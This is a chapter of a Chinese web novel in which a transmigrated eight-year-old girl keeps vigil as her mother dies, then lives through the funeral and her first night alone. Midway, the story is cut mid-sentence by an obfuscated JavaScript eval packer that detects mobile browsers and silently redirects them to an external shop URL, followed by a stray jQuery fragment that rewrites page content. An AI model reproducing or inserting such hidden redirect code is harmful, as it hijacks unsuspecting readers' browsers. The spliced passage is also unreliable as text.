那场雨下了一整夜，最开始只是细雨，到了后半夜渐渐密起来，雨水顺着屋檐连成细线，落在院里的石板和泥地上，发出持续不断的轻响。沈知闲把屋里的窗关严，又在门缝旁塞了一块旧布，生怕夜风灌进来让周氏受凉，其实她心里清楚，这些事情到了现在已经没有太大意义。
周氏从傍晚开始便一直昏睡，偶尔醒来片刻，也只是睁开眼看看周围，很快又重新闭上。药喂不进去多少，温水还能勉强喝几口，后来连水也开始顺着嘴角往外流。医者那句“今夜多陪陪你阿娘”是什么意思，沈知闲当然知道，只是不愿意承认，于是医者走后，她仍然按照原来的顺序做事，药继续温着，湿布按时更换，屋里的炭火不能太旺，也不能熄，隔一阵便摸一摸母亲的额头，再看看呼吸有没有变化。每件事情她都做得很认真，甚至比前几日更加认真，因为只要还有事情可以做，她就暂时不需要去想那个已经越来越明确的结果。
老陈夜里来过一次，站在门口看了一会儿，没有进屋，只低声问要不要去叫族里的人。沈知闲摇头说先不用，老陈欲言又止，最终还是走了，过了一阵又送来一壶热水和一些炭。沈知闲没有问是谁让他送的，也没有心思去问，等屋里重新只剩母女两个人以后，时间便忽然变得很慢，油灯里的灯芯烧出一截黑色，她拿剪子剪掉；水凉了，她重新换热水；药碗冷下来，她又拿去温，一切都像是在机械地重复。
接近子时的时候，周氏忽然醒了，这一次比前几次都要清醒。她先看了看屋顶，又转过头看见坐在床边的女儿，轻声叫道：“知闲，什么时辰了？”
沈知闲立刻靠过去：“快子时了。”
“还没睡？”
“我不困。”
周氏似乎想笑：“骗人。”
沈知闲没有反驳，只把水端过来。周氏勉强喝了一小口便摇头说喝不下了，她只好把碗放回去。母女两个人安静了一会儿，周氏忽然问外面是不是下雨了，听见女儿说还在下，她便轻声说道：“你阿耶最不喜欢下雨天赶路。他以前每次遇上下雨，回来都要说鞋里全是水，第二天却还是照样出去。我说了他好多次，让他少跑几趟，他总说趁年轻多挣一点，以后我们一家就能轻松。”
她说到这里停了很久，呼吸明显有些吃力，沈知闲想让她别说了，周氏却轻轻握住她的手，继续说道：“他这个人，说话不算话，说好了以后少跑，最后还是跑了。”
沈知闲低着头，眼泪掉在两个人握着的手上。周氏看见以后，手指轻轻动了一下，像是想替她擦掉，却已经没有力气抬起来。沈知闲自己把眼泪擦掉，小声说道：“阿娘，我没哭。”
周氏很轻地笑了一声：“你从小就嘴硬。”
沈知闲不知道这句话说的是这具身体原来的孩子，还是现在的她，可到了现在已经不重要了。周氏歇了一会儿，呼吸稍微平稳些，才继续交代：“柜子里的东西你知道在哪，那只镯子别急着当，真没钱的时候再用。契书也要收好，还有你阿耶留下的那几本账，你不是一直藏着吗？”
沈知闲猛地抬头：“阿娘，你知道？”
“我没问，是因为你想藏就藏吧，你从小主意就大，现在更大。”
“里面有些东西我还没弄明白，我以后会查阿耶到底去了哪里。”
周氏沉默片刻，没有阻止，只说道：“那就等你长大以后再查，别现在去，也别为了查这个把命搭进去。”
沈知闲没有立刻回答，直到周氏用手指轻轻捏了她一下，说了一句“答应阿娘”，她才低声说道：“我答应。”
周氏像是终于放心了一些，闭上眼休息片刻，过了一会儿却又忽然问道：“知闲，你怕不怕以后一个人？”
沈知闲原本想说不怕，可话到了嘴边，最终还是没有说出口。她低着头沉默了一会儿，轻轻点头：“怕。”
她当然怕。这一个月里，她可以面对沈怀义，可以去县衙，可以整理一大堆乱账，可以计算家里还能撑多少天，也可以在所有人都慌的时候强迫自己把事情一件件排清楚，因为无论外面发生什么，回到家以后母亲还在。只要周氏还躺在这张床上，沈家就仍然是她的家，她也仍然是一个有母亲的孩子。
可如果母亲也没了，她甚至不知道明天早上醒来以后自己应该算什么。一个八岁的孤女，手里有几份契书，有一些没人替她守的田产，还有一个已经由别人代管的铺子，脑子里虽然装着一个成年人的灵魂，却没有成年人的身份、身体和独立生活的资格。
沈知闲终于低声说道：“阿娘，我不想一个人。”
这句话说出口的时候，她再也不像一个二十多岁的成年人。周氏眼睛一下红了，用尽力气抬手摸了摸她的头：“阿娘也舍不得。可知闲，你要记着我前几日跟你说的话，以后不管去了哪里，先让自己活下来。别人说什么不好听的话，你别往心里去，能忍的事情就忍一忍，真不能忍便想办法躲开。你聪明，可别总觉得聪明就该赢，有时候输了也没什么，活得久的人才有以后。”
沈知闲眼泪一直往下掉，却还是认真点头。周氏看着她，又说道：“还有，别太信人，可也别谁都不信。真遇到对你好的人，也别总想着人家为什么对你好，你这个孩子心思太重。”
“我没有。”
“又嘴硬。”
母女两个人都笑了一下，只是笑声很轻。周氏笑完以后明显更加疲惫，闭着眼歇了许久，才再次叫了一声：“知闲。”
“我在。”
“叫我一声。”
沈知闲喉咙一下堵住，她握紧母亲的手，低声叫道：“阿娘。”
周氏没有回答。
她又叫了一声：“阿娘。”
这一次，周氏的嘴角似乎轻轻动了一下，像是在笑，随后便彻底安静下来。
起初沈知闲没有意识到发生了什么，因为屋外还在下雨，油灯也还亮着，床上的人看起来只是睡着了。她甚至坐在那里等了一会儿，觉得也许下一刻母亲会重新吸一口气，或者咳嗽一声，或者皱着眉嫌她这么晚还没有睡。
可什么都没有发生。
她伸手摸了摸母亲的额头，还是温的，又把手放到鼻下，却没有感觉到气息。她停了一会儿，重新试了一次，结果仍然一样，于是又握住母亲的手，因为掌心还有余温，她便告诉自己可能只是呼吸太轻，最后干脆俯下身，把耳朵贴到母亲胸口。
她什么都没有听见，屋里只剩下窗外连续不断的雨声。
沈知闲保持着那个姿势很久，才慢慢坐起来，轻声叫了一句“阿娘”，没有得到回答以后又叫了一遍。床上的人依然安静地躺着，神情甚至比这些日子任何时候都要平静。
她脑子里竟然很清楚地冒出一个念头。
应该去叫人了。
人死以后该做什么，她并不熟悉这个时代的流程，但至少知道要通知族里、准备丧事、请人处理后面的事情，还有很多事情等着她去做。按照她过去的习惯，这个时候应该先确认事项、分清轻重，然后一件件处理，可她坐在床边很久都没有动，只是一直握着母亲的手，直到那只手从温热一点点变凉，才终于接受了那个已经无法改变的事实。
母亲死了。
她这一次是真的没有母亲了。
眼泪终于掉下来，最开始没有声音，后来越来越多，怎么擦也擦不干。她没有大喊，也没有扑在床边嚎啕，只是低着头死死握着那只已经变凉的手，忽然想起一个多月以前父亲出门时的样子。
那天她还专门叮嘱父亲，不要为了那朵黑花进山，不要单独走太远，顺路找找就行，父亲笑她操心太多，然后带着东西出了门，再也没有回来。后来母亲病了，她算账、找医者、买药、去县衙、借钱、收缩铺子，甚至学会向一个自己并不完全信任的人低头，她已经做了自己能想到的所有事情，可母亲还是死了。
沈知闲第一次真正意识到，有些事情不是把每一步都做对，就一定会得到一个好结果，这个世界从来没有这样的保证。
天快亮的时候，雨终于停了。老陈再次过来，看见屋里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933351|213682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的情形以后站在门口很久没有说话，最后只是摘下帽子低下头。沈知闲已经哭不出来了，只坐在床边用沙哑的声音说道：“陈叔，麻烦你去告诉族里。”
老陈点头，走了两步又回过头：“小娘子……”
“我没事。”
这句话说出口以后，沈知闲自己都觉得熟悉。以前加班到深夜，同事问累不累，她说没事；被领导退回材料的时候，她说没事；刚穿越醒来的时候，她也告诉自己先别慌。如今母亲死了，她还是说没事，大概人在已经不知道该说什么的时候，最后能够说出口的也只剩下这两个字。
天亮以后，沈家院子很快来了人，族里的老人、妇人、邻里，还有沈怀义。有人开始烧水，有人去准备白布，有人商量棺木，也有人问周氏娘家要不要送信，整个院子忽然忙起来，反而只有沈知闲没有什么事情可做。
一个族中妇人把她拉到旁边坐下，往她手里塞了一碗热水。沈知闲捧着碗，看着那些人在自己家里进进出出，第一次觉得这个住了许久的院子如此陌生。几日前这里还有母亲的咳嗽声，一个多月前父亲还会从外面回来，把沾满泥的鞋放在门边，更早一些的时候，一家三口还会坐在一起吃饭，她甚至认真规划过十二年以后怎么让一家人平平安安，当时还觉得这个目标已经足够保守。
如今才过去一个多月。
家里就只剩下她。
丧事办了几日，沈知闲对其中大部分过程都没有留下清晰记忆，只记得白布很多，香火很呛，来来往往的人也很多，每个人见到她都会露出相似的神情。有人摸她的头，有人叹气，有人说“可怜见的”，还有人站在稍远些的地方低声议论，这孩子以后究竟该怎么办。
她全都听见了，却没有回应。
下葬那日天气很好，甚至出了太阳。沈知闲跟着人走到墓地，看着棺木一点点落下去，泥土一铲接一铲砸在棺木上，声音沉闷，直到那口棺木彻底被黄土覆盖，再也看不见。
有人来拉她，她没有动。
最后还是老陈蹲下来，说：“小娘子，回吧。”
沈知闲问：“以后还能来看吗？”
老陈愣了一下，随后点头：“当然能。”
“那就回吧。”
回到沈家院子时天已经快黑了，族里的人陆续散去，老陈也被家里人叫走，最后只剩下沈知闲一个人。她站在院门口没有立即进去，两棵枣树已经快秃了，屋檐下还放着母亲前几日晒太阳时坐过的小凳，厨房里有碗，桌上有账，柜子里有衣服，所有东西都还留在原来的位置，唯独使用这些东西的人已经不在了。
她慢慢走过去，在那张小凳上坐下，起初只是安静地坐着，后来眼泪不知道什么时候又掉下来。没有人来哄，也没有人告诉她别哭，她便一个人低着头哭了很久，直到哭累以后，才自己擦干眼泪，回屋点起灯。
桌上还放着那块写过许多计划的木板。
十二年。
灵气复苏。
黑花。
有钱。
远离长安。
保证一家平安。
最上面则是前几日刚写下的两个字——活着。
沈知闲盯着那块木板看了很久，最后拿起湿布，把上面的字一点点全部擦掉。墨迹在水里散开，曾经被她认真安排好的未来也跟着模糊，直到木板上再也看不清原来的内容。
她没有重新写计划。
十二年以后太远，十九岁退休也太远，甚至下个月自己住在哪里，她现在都不知道。她只是把木板重新放回桌上，吹灭油灯，一个人躺到床上。
院子安静得让人不习惯，再也没有父亲回来时推门的声音，也没有母亲夜里的咳嗽声，更不会有人在降温的时候问她冷不冷。
沈知闲睁着眼看了很久的黑暗。
直到这一晚，她才真正明白，从今天开始，这个时代里再也没有一个人会天然站在她前面，在危险来临的时候先替她挡一下。
以后所有的风，都要先落到她自己身上。